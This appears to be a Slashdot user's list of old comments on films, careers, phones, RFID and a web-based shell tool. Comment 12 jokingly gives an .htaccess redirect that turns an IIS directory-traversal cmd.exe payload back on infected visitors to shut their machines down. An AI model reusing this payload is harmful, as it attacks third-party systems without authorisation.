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  1. Re:Can't they stick to aliens? on Command and Conquer Generals Released · · Score: 1
    "See also: Independance Day, Godzilla, etc..."

    The difference there is that you have an alien race and a mutated lizard destroying cities, not people from differing countries. Something quite different.

  2. Re:I loved this series... on Clarke's Rendezvous with Rama going Hollywood? · · Score: 1
    How much you want to bet theyll add in a couple of explosions and a love interest to get bovine america to watch it.

    Sure sounds that way from this script review:

    "One thing that did take me by surprise is the amount of action contained in the script, especially the second half. Once Norton and his crew start venturing deeper into Rama and into the southern hemisphere things start really happening. There seems to be more opportunity for the movie to have action sequences than I remember from the book's story arc, but I write that off as part of the financial necessities of adapting a novel into a mainstream cinematic story."

    BLEH!

  3. Re:Cut and paste your passwords on Arrested for Planting Spyware on College Compus · · Score: 2, Informative

    You can do this using FPM.

  4. Re:MIT on Arrested for Planting Spyware on College Compus · · Score: 2, Interesting

    Or even easier, this.

  5. Re:Excellent news! It was an awe inspiring book... on Clarke's Rendezvous with Rama going Hollywood? · · Score: 1
    It's very hard to believe that they'll be able to capture the sheer awe one has when reading this book, just imagining what Rama looked like by Clarke's descriptions. To put this in a movie, you'd have to be damn carefull not to lose that, or really it'll just fall flat. There are no explosions, no real love interests. Look at slide 6 from the mentioned site. That sure doesn't give me the sense of awe I got when I read the book.

    The way I see it, they'll wind up playing up on the big bad Hermians (cue sinister music), and throw in a bunch of details we didn't see (at least in the 1st book) of the two wives of Captain Norton (i.e., "insert love interest(s) here"). Otherwise, the only people who will bother to go see this movie are the ones who read the book. I mean, what would they put in a trailer that would not only draw people to go see it, but not ruin the awesome spectacles once would witness by actually going to see the movie?

    Oh, I also found a script review while doing some Googling, which seems to have a bit more information.

  6. Are you nuts? on Carmack Needs Rocket Fuel · · Score: 1
    Anyone want to start a peroxide business?

    And contribute to the blonde population? I don't think so!

  7. Re:career option advice on What Should I Do With My Life? · · Score: 2, Funny
    "A friend of a friend of a friend was running a porn site..."

    "I work in my bathrobe most days."

    Hef?

  8. Good friend on What Should I Do With My Life? · · Score: 1
    I'll lend this book to a lot of friends and I'll probably buy copies for a few as well.

    Nothing like a friend saying, "Hey, I think your job and life sucks, so I thought of you and got you this book."

  9. Re:Doesn't IIS Already Have This? on Shell Simulation Via CGI · · Score: 1
    Seeing as the computer causing the log entries in the first place is almost certainly compromised itself, this is probably not a good idea.

    Even more reason to shut the system down.

  10. Even easier: PHP shell_exec() on Shell Simulation Via CGI · · Score: 1

    shell_exec() will do what you want in one line of PHP.

  11. Not very useful for your purposes on Shell Simulation Via CGI · · Score: 1
    From the docs:

    • What can CGI-Shell do, what can't it do?

      CGI-Shell allows the execution of any application and any command on the web-server. Various "comfort-features", such as a history and auto-completion with the tabulator are included - CGI-Shell offers in principle the same comfort as any other shell does. Unfortunately, applications interacting with the user (those that ask for input from the user), e.g. passwd are still a problem.

  12. Re:Doesn't IIS Already Have This? on Shell Simulation Via CGI · · Score: 5, Funny
    Put this in your .htaccess file and you might get lucky and give them a taste of their own medicine:

    RedirectMatch permanent (.*)c+dir http://127.0.0.1/scripts/..%255c..%255cwinnt/syste m32/cmd.exe?/c+rundll32.exe+shell32.dll,SHExitWind owsEx%201

  13. Re:ok... on Shell Simulation Via CGI · · Score: 1

    I don't believe this is any more harmful than a one-line PHP script. As long as the web admins have their servers setup the way they are supposed to, they have nothing to worry about. If the server this script runs on is hackable, it would've been easy to do without this tool already.

  14. Re:security? on Shell Simulation Via CGI · · Score: 5, Informative

    I haven't taken a look at it myself, but my first thought is that this is no more harmful than what any one line PHP script could do. So long as the web admins aren't idiots and have things setup the right way, they should have nothing to worry about.

  15. Re:I don't think I'll be a lifer on Lifetime Careers in IT? · · Score: 1
    will be starting classes in Shiatsu in a month. No rapidly changing skill set in massage and acupressure....

    Actually I had looked into this at one point and read, from several sources, that the physical toll put on a masseur over a rather short time can be quite painful, often times leading to a short career. Back problems from constant leaning over people, long-term join problems in the hands from deep massages, etc.

    If you've read/experienced differently, I'd like to know, since I had considered this line of work myself. If giving constant massages every day winds up destroying my hands, it won't be likely I could quit that career and go back to typing on a keyboard.

  16. Obligatory Cliche on Sprint DSL's Security Hole Easy As 1,2,3,4 · · Score: 0, Offtopic
    1. Set Sprint modems to insanely easy password.
    2. Leak the information to Wired and Slashdot
    3. ...
    4. PROFIT!
  17. Re:We are behind the rest of the world on this one on PC Baangs In America · · Score: 1
    "So if you bring your own PC, then you don't pay to play."

    And you plan to make enough money to pay your rent, utilities, and salary how again?

  18. Re:Better Idea on 11 Digit Dialing Comes Home to New York · · Score: 2, Insightful

    I was actually wondering why they didn't just start new area codes in states just for pagers and cell phones. That would've saved everyone a LOT of headaches.

  19. Re:snippet & loink to original SF Gate article on Second Hand Hard Discs Reveal Secrets · · Score: 1
    Simson Garfinkel

    Dear lord, that poor bastard must've been subject to so many Simon & Garfunkel jokes.

  20. Non-intrusive ringtones on Mobile Phone Abuse and AbUsers · · Score: 2, Interesting
    I was thinking about this the other night while at the movies. Why doesn't someone develop a ringtone that sounds like a person coughing? Coughing is a natural act that, unless happening repeatedly over and over, shouldn't cause someone at a movie to be pissed-off at you. Set your phone's ringtone to "cough", and that should at least help if you're not prone to setting your phone to vibrate, or OFF for that matter.

    The problem, of course, is making sure you always have the phone's ringtone set that way. Forgetfulness is the most common reason for ringing phones in movie theaters, I imagine.

  21. Re:cool on RFID: The New Big Brother ? · · Score: 2
    The problem arises when you lose the tricorder itself.

    Tricorder salesman: "Sir, it says here this is the third tricorder you've bought this week. Is that right?"
    You: "Er, yeah, I lost the tricoder that I use to find my lost tricorder...heh heh..."

  22. Cool... on RFID: The New Big Brother ? · · Score: 2

    Now we'll have real, techno-savvy fashion police. Geeks beware!

  23. Re:Shouldn't be hard... on TiVo-Like Devices for Radio? · · Score: 3

    The problem with your solution is that it doesn't tune the stations for him, which I think he wanted the program/device to do.

  24. I wonder is SearchKing... on Google Responds to SearchKing's Lawsuit · · Score: 2

    I wonder if SearchKing's knight is Sir Searchalot. Hmmm...

  25. Re:Multi-platform? on Myst MMOG Details Announced · · Score: 2
    Well, Myst III:Exile was released for both Playstation 2 and XBox, so maybe that's a sign that this'll be a console game as well.

    Although, since the PS2 doesn't come with a hard drive (unless you buy the Linux kit), I'm not sure how you'll experience the persistent, changing and evolving worlds they're touting.